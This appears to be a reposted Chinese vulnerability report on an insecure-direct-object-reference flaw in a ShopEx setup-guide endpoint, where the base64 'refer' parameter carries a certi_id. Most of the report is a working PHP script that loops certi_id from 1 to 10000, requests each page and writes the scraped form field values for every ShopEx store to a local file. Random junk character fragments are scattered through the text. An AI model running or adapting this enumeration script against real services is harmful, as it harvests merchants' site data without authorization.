ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
1 i% m+ E  S" m. XShopEx某接口缺陷,可遍历所有网站
* @; \" u0 h0 y2 |详细说明：
  c, o$ e8 [. ^3 H! E# v) n问题出现在shopex 网店使用向导页面


+ e# e/ j% Y8 g2 g
' I1 h# ^+ Z9 e. Mhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

8 J# O+ X9 `- ]# O  w$ }

' U% M8 c9 N& E& M  v: Qrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

, Y" w. M4 D0 L9 ?

& \. v& Q5 Z" Z7 |: z4 V; X$ q8 o我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



- d& V( T' G' R0 s: h5 h, E  P<?php

5 L) E6 B* H% b3 z" V( ]                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

, F% I# n3 d- [; F* _                }

                function ShowshopExD($cid) {
5 A0 G5 r" @1 I9 @. l8 _
4 P. l) [4 y+ @4 J- v7 F. O1 M                $url='http://guide.ecos.shopex.cn/step2.php';
4 j' t6 Z& a# C0 r9 `1 d5 P
: Y7 \& n9 @( A                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

; l  b4 M( K' s: c( c# T) e        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
* A2 m% j! S) _9 V" s
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
$ y/ A8 v! o8 j5 [
        $result = curl_exec($ch);

$ q' B3 e- o/ o$ W6 f        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

+ ?0 C  i% Q4 i0 V/ k9 \3 z        {
6 A' I; |- P! ^
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
* Z7 E( w0 ~$ x- S# E. @0 V2 F* B, O- G6 |
                foreach ($value[1] as $key) {
2 O2 W9 F3 t/ q
( T/ B7 f- H$ T                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
; B( Y7 o% _% f) k
( Z9 d) t" E3 S- e                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
- p; t/ f+ H9 C  J# ~" c- H
                }

                echo '--------------------------------'."\r\n";
. b- j! Q5 u; B, F0 ^* L
                fclose($fp);

7 u' D2 q/ v% p4 M, @        }

        flush();

        curl_close($ch);

                }

0 b8 h9 r2 C6 r* T. d; m3 Q?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式